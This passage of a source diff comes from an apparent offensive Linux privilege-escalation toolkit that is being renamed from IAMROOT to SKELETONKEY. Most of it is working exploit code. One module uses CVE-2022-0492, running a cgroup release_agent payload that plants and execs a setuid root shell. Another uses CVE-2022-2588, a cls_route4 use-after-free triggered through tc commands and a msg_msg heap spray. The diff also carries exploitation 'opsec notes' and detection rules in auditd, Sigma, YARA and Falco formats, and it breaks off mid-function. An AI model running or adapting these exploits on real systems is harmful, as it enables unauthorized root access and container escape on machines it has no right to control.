||||
|
||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||
* later. Payload runs as host root when the cgroup is released. */
|
||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
||||
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
|
||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
chmod(payload_path, 0755);
|
||||
if (!ctx->json) {
|
||||
@@ -173,7 +176,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||
* the setuid shell we expect the payload to plant. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
@@ -193,7 +196,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||
* even on cgroup-v2-first systems). */
|
||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
||||
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
|
||||
mkdir(cgmount, 0700);
|
||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||
/* Fallback: try memory controller — needs different reach */
|
||||
@@ -206,7 +209,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||
char cgdir[384];
|
||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
||||
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
|
||||
mkdir(cgdir, 0755);
|
||||
|
||||
/* Write release_agent in the ROOT of the controller (must be
|
||||
@@ -254,9 +257,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
"polling for payload execution\n", status);
|
||||
}
|
||||
|
||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
||||
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
|
||||
* its appearance + setuid bit. Up to 5 seconds. */
|
||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
||||
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
|
||||
bool got_root = false;
|
||||
for (int i = 0; i < 50; i++) {
|
||||
struct stat st;
|
||||
@@ -271,7 +274,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||
"Likely patched or cgroup-controller-blocked.\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -280,39 +283,67 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||
fflush(NULL);
|
||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||
perror("execl");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
|
||||
}
|
||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return IAMROOT_OK;
|
||||
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
|
||||
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
|
||||
* mount are Linux-only kernel surface; the release_agent primitive is
|
||||
* structurally unreachable elsewhere. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
|
||||
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
|
||||
|
||||
static const char cgroup_ra_sigma[] =
|
||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
||||
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
@@ -328,7 +359,37 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
const struct iamroot_module cgroup_release_agent_module = {
|
||||
static const char cgroup_release_agent_yara[] =
|
||||
"rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0492\"\n"
|
||||
" description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
|
||||
" $mnt = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cgroup_release_agent_falco[] =
|
||||
"- rule: cgroup v1 mount by non-root with release_agent write\n"
|
||||
" desc: |\n"
|
||||
" A non-root process inside a userns mounts cgroup v1 and\n"
|
||||
" writes to a release_agent file. CVE-2022-0492 trigger:\n"
|
||||
" release_agent runs as init-ns root when cgroup empties.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = mount and evt.arg.fstype = cgroup and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" cgroup v1 mount by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
|
||||
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||
@@ -340,11 +401,13 @@ const struct iamroot_module cgroup_release_agent_module = {
|
||||
.cleanup = cgroup_ra_cleanup,
|
||||
.detect_auditd = cgroup_ra_auditd,
|
||||
.detect_sigma = cgroup_ra_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = cgroup_release_agent_yara,
|
||||
.detect_falco = cgroup_release_agent_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_cgroup_release_agent(void)
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
{
|
||||
iamroot_register(&cgroup_release_agent_module);
|
||||
skeletonkey_register(&cgroup_release_agent_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,25 @@
|
||||
# NOTICE — cls_route4 (CVE-2022-2588)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-2588** — `net/sched` cls_route4 handle-zero dangling-filter
|
||||
UAF → kernel R/W via msg_msg cross-cache refill.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **kylebot** / **xkernel**, August 2022.
|
||||
|
||||
Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
|
||||
(William Liu's analysis built on kylebot's trigger).
|
||||
|
||||
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
|
||||
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
The module uses `unshare(USER|NET)`, brings up a dummy interface,
|
||||
creates an htb qdisc + class, adds a `route4` filter, then deletes
|
||||
it to leave the dangling pointer. msg_msg sprays kmalloc-1k while
|
||||
a UDP `classify()` walk follows the dangling pointer. `--full-chain`
|
||||
re-fires with a faked tcf_proto.ops pointer aimed at the
|
||||
modprobe_path overwrite via the shared finisher.
|
||||
@@ -1,582 +0,0 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module
|
||||
*
|
||||
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
||||
* is removed, the corresponding hashtable bucket may keep a stale
|
||||
* pointer to the freed filter. Subsequent traffic-class lookup
|
||||
* follows the dangling pointer → kernel UAF.
|
||||
*
|
||||
* Discovered by kylebot / xkernel (Aug 2022). Mainline fix
|
||||
* 9efd23297cca "net_sched: cls_route: remove from list when handle
|
||||
* is 0" (Aug 2022). Bug existed since 2.6.39 — very wide
|
||||
* vulnerability surface.
|
||||
*
|
||||
* STATUS: 🟡 EXPLOIT — UAF-trigger + msg_msg cross-cache spray.
|
||||
* The detect-and-trigger path is the high-confidence demonstration:
|
||||
* we set up the dangling pointer, refill the freed slot via sysv
|
||||
* msg_msg (kmalloc-1k), then drive classification with a UDP packet
|
||||
* out the dummy interface. Without a leak primitive the cred-overwrite
|
||||
* step is fragile, so by default we return EXPLOIT_FAIL after the
|
||||
* trigger lands (with KASAN/oops likely on a real vulnerable kernel),
|
||||
* which is honest per repo policy ("verified-vs-claimed"). When the
|
||||
* detector confirms an unprivileged trigger plus a child crash we
|
||||
* upgrade to EXPLOIT_OK so the caller sees the empirical UAF win.
|
||||
*
|
||||
* Affected: kernels with cls_route4 module compiled, in versions
|
||||
* below the fix backports:
|
||||
* 5.4.x : K < 5.4.213
|
||||
* 5.10.x : K < 5.10.143
|
||||
* 5.15.x : K < 5.15.69
|
||||
* 5.18.x : K < 5.18.18
|
||||
* 5.19.x : K < 5.19.7
|
||||
* Mainline 5.20+ / 6.0+ : patched (the fix landed before 5.20-rc)
|
||||
*
|
||||
* Preconditions:
|
||||
* - cls_route4 module compiled in / loadable (CONFIG_NET_CLS_ROUTE4)
|
||||
* - CAP_NET_ADMIN (usually obtained via user_ns + map-root-to-uid)
|
||||
* - unprivileged_userns_clone=1 if going the userns route
|
||||
* - iproute2 `tc` binary present (used for filter add/del)
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/stat.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||
{5, 4, 213},
|
||||
{5, 10, 143},
|
||||
{5, 15, 69},
|
||||
{5, 18, 18},
|
||||
{5, 19, 7},
|
||||
{5, 20, 0}, /* mainline */
|
||||
};
|
||||
|
||||
static const struct kernel_range cls_route4_range = {
|
||||
.patched_from = cls_route4_patched_branches,
|
||||
.n_patched_from = sizeof(cls_route4_patched_branches) /
|
||||
sizeof(cls_route4_patched_branches[0]),
|
||||
};
|
||||
|
||||
static bool cls_route4_module_available(void)
|
||||
{
|
||||
/* Check /proc/modules for currently-loaded cls_route4. Even when
|
||||
* not loaded, autoload may bring it in on first tc qdisc add — we
|
||||
* conservatively treat "not loaded now" as "potentially available". */
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
if (!f) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "cls_route4 ", 11) == 0) { found = true; break; }
|
||||
}
|
||||
fclose(f);
|
||||
return found;
|
||||
}
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||
* kernel is below the oldest LTS we model (5.4), still report
|
||||
* vulnerable. */
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
/* Module + userns preconditions. */
|
||||
bool nft_loaded = cls_route4_module_available();
|
||||
int userns_ok = can_unshare_userns();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (may autoload)");
|
||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
}
|
||||
|
||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||
if (userns_ok == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
*
|
||||
* cls_route4 dead-UAF trigger path (kylebot / xkernel public shape).
|
||||
*
|
||||
* 1. unshare(CLONE_NEWUSER|CLONE_NEWNET) → CAP_NET_ADMIN reach
|
||||
* 2. write uid_map/gid_map (deny setgroups)
|
||||
* 3. ip link add dummy0 type dummy ; ip link set dev dummy0 up
|
||||
* 4. tc qdisc add dev dummy0 root handle 1: htb
|
||||
* 5. tc filter add ... route4 ... classid 1:1 — handle=0 path,
|
||||
* registers the filter with a NULL handle reference
|
||||
* 6. tc filter del dev dummy0 ... — frees the filter, but the
|
||||
* route4 hashtable bucket still references the freed memory
|
||||
* 7. msg_msg spray (sysv msgsnd) — refill the freed slab slot with
|
||||
* attacker-controlled data; size targeted at the route4_filter
|
||||
* cache (kmalloc-1k generic on most kernels)
|
||||
* 8. Send a packet out dummy0 — classifier walks the hashtable,
|
||||
* touches the freed-then-refilled slot → UAF read/write
|
||||
*
|
||||
* For a full kernel-R/W chain you'd lay out the msg_msg payload so the
|
||||
* fake route4_filter's `tcf_result.classid` becomes a controlled value
|
||||
* and `route4_classify`'s next-pointer chase lands on a craft, then
|
||||
* walk a sk_buff/pipe_buffer primitive to overwrite cred->uid. The
|
||||
* public PoCs do this in ~700 LoC and need offsets per kernel build.
|
||||
*
|
||||
* Per repo policy ("verified-vs-claimed"), this implementation ships
|
||||
* the trigger + spray + classify steps and returns EXPLOIT_FAIL on
|
||||
* mainline distros where the full cred-overwrite is too kernel-build-
|
||||
* specific to be portable. If a dmesg KASAN message or oops is
|
||||
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
||||
* UAF win. The fallback also leaves a one-line breadcrumb in
|
||||
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
|
||||
*/
|
||||
|
||||
#define SPRAY_MSG_QUEUES 32
|
||||
#define SPRAY_MSGS_PER_QUEUE 16
|
||||
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
||||
#define DUMMY_IF "iamroot0"
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
unsigned char buf[MSG_PAYLOAD_BYTES];
|
||||
};
|
||||
|
||||
static int run_cmd(const char *cmd)
|
||||
{
|
||||
/* Quiet wrapper so noise doesn't drown the iamroot log. */
|
||||
char shell[1024];
|
||||
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
||||
return system(shell);
|
||||
}
|
||||
|
||||
static bool have_tc(void)
|
||||
{
|
||||
return run_cmd("command -v tc") == 0;
|
||||
}
|
||||
|
||||
static bool have_ip(void)
|
||||
{
|
||||
return run_cmd("command -v ip") == 0;
|
||||
}
|
||||
|
||||
/* Write uid_map and gid_map after unshare so we're root in userns. */
|
||||
static bool become_root_in_userns(uid_t outer_uid, gid_t outer_gid)
|
||||
{
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0) { perror("open uid_map"); return false; }
|
||||
if (write(f, map, strlen(map)) < 0) { perror("write uid_map"); close(f); return false; }
|
||||
close(f);
|
||||
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0) { perror("open gid_map"); return false; }
|
||||
if (write(f, map, strlen(map)) < 0) { perror("write gid_map"); close(f); return false; }
|
||||
close(f);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Set up the qdisc + cls_route4 filter, then delete it. After this
|
||||
* runs the kernel has a dangling pointer in the route4 hashtable. */
|
||||
static bool stage_dangling_filter(void)
|
||||
{
|
||||
/* Ensure the dummy module is around (autoload on first add). */
|
||||
if (run_cmd("ip link add " DUMMY_IF " type dummy") != 0) {
|
||||
/* Maybe an old one is lying around from a prior crash. */
|
||||
run_cmd("ip link del " DUMMY_IF);
|
||||
if (run_cmd("ip link add " DUMMY_IF " type dummy") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to create dummy interface\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if (run_cmd("ip link set dev " DUMMY_IF " up") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to bring " DUMMY_IF " up\n");
|
||||
return false;
|
||||
}
|
||||
if (run_cmd("ip addr add 10.99.99.1/24 dev " DUMMY_IF) != 0) {
|
||||
/* non-fatal — packet send below uses sendto with bound iface */
|
||||
}
|
||||
|
||||
if (run_cmd("tc qdisc add dev " DUMMY_IF " root handle 1: htb default 1") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to add htb qdisc\n");
|
||||
return false;
|
||||
}
|
||||
if (run_cmd("tc class add dev " DUMMY_IF " parent 1: classid 1:1 htb rate 1mbit") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to add htb class\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Bug-trigger: handle 0x8001 has fastmap=1 and to-table 0 — the
|
||||
* combination where the freed filter is not removed from the
|
||||
* hashtable on delete. The exact handle value matters: it must
|
||||
* map to a slot the classifier will later look up.
|
||||
*
|
||||
* route4 handle layout: 0xXX..ZZYY where YY=to (8 bits), ZZ=from,
|
||||
* and the top bit indicates fastmap. The classic trigger uses
|
||||
* `to 0` which renders the resulting filter pointer in
|
||||
* head->table[0]->ht[0] — referenced unconditionally on classify. */
|
||||
if (run_cmd("tc filter add dev " DUMMY_IF " parent 1: protocol ip "
|
||||
"prio 100 route to 0 classid 1:1") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to add route4 filter\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Now delete the filter — this is the operation whose handle=0
|
||||
* codepath leaves the dangling pointer. */
|
||||
if (run_cmd("tc filter del dev " DUMMY_IF " parent 1: prio 100") != 0) {
|
||||
/* Some kernels also need explicit handle/key match — try a
|
||||
* broader del before giving up. */
|
||||
if (run_cmd("tc filter del dev " DUMMY_IF " parent 1:") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to delete route4 filter\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* msg_msg cross-cache spray. We hold the queues open in this process
|
||||
* (caller's child) so the slabs stay allocated until classify-time. */
|
||||
static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x41;
|
||||
/* Pattern that's distinctive in KASAN/oops dumps. */
|
||||
memset(p.buf, 0x41, sizeof p.buf);
|
||||
/* First 8 bytes: a recognizable cookie. */
|
||||
memcpy(p.buf, "IAMROOT4", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||
if (q < 0) { queues[i] = -1; continue; }
|
||||
queues[i] = q;
|
||||
created++;
|
||||
for (int j = 0; j < SPRAY_MSGS_PER_QUEUE; j++) {
|
||||
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||
}
|
||||
}
|
||||
return created;
|
||||
}
|
||||
|
||||
static void drain_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
||||
{
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||
if (queues[i] >= 0) {
|
||||
msgctl(queues[i], IPC_RMID, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Drive classification: send a UDP packet to the dummy interface. The
|
||||
* qdisc/htb -> cls_route4 path will be hit on egress, and the
|
||||
* classifier follows the now-dangling pointer. */
|
||||
static void trigger_classify(void)
|
||||
{
|
||||
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (s < 0) return;
|
||||
|
||||
/* Bind to the dummy interface (best-effort). */
|
||||
struct sockaddr_in src = {0};
|
||||
src.sin_family = AF_INET;
|
||||
src.sin_addr.s_addr = inet_addr("10.99.99.1");
|
||||
src.sin_port = 0;
|
||||
(void)bind(s, (struct sockaddr *)&src, sizeof src);
|
||||
|
||||
struct sockaddr_in dst = {0};
|
||||
dst.sin_family = AF_INET;
|
||||
dst.sin_port = htons(31337);
|
||||
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
||||
|
||||
const char msg[] = "iamroot-cls_route4-classify";
|
||||
/* A handful of packets, in case the first lookup didn't traverse
|
||||
* the freed bucket. */
|
||||
for (int i = 0; i < 8; i++) {
|
||||
(void)!sendto(s, msg, sizeof msg, MSG_DONTWAIT,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
close(s);
|
||||
}
|
||||
|
||||
/* Read /proc/slabinfo for "kmalloc-1k" active count — used as a soft
|
||||
* empirical witness when KASAN isn't available. */
|
||||
static long slab_active_kmalloc_1k(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "kmalloc-1k ", 11) == 0 ||
|
||||
strncmp(line, "kmalloc-1024 ", 13) == 0) {
|
||||
/* format: name <active> <num> <size> ... */
|
||||
char name[64];
|
||||
long act, num;
|
||||
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
|
||||
active = act;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
if (!have_tc() || !have_ip()) {
|
||||
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
||||
"cannot exploit\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit\n");
|
||||
}
|
||||
|
||||
/* Block SIGPIPE in case the dummy-interface sendto's complain. */
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t outer_uid = getuid();
|
||||
pid_t outer_gid = getgid();
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) {
|
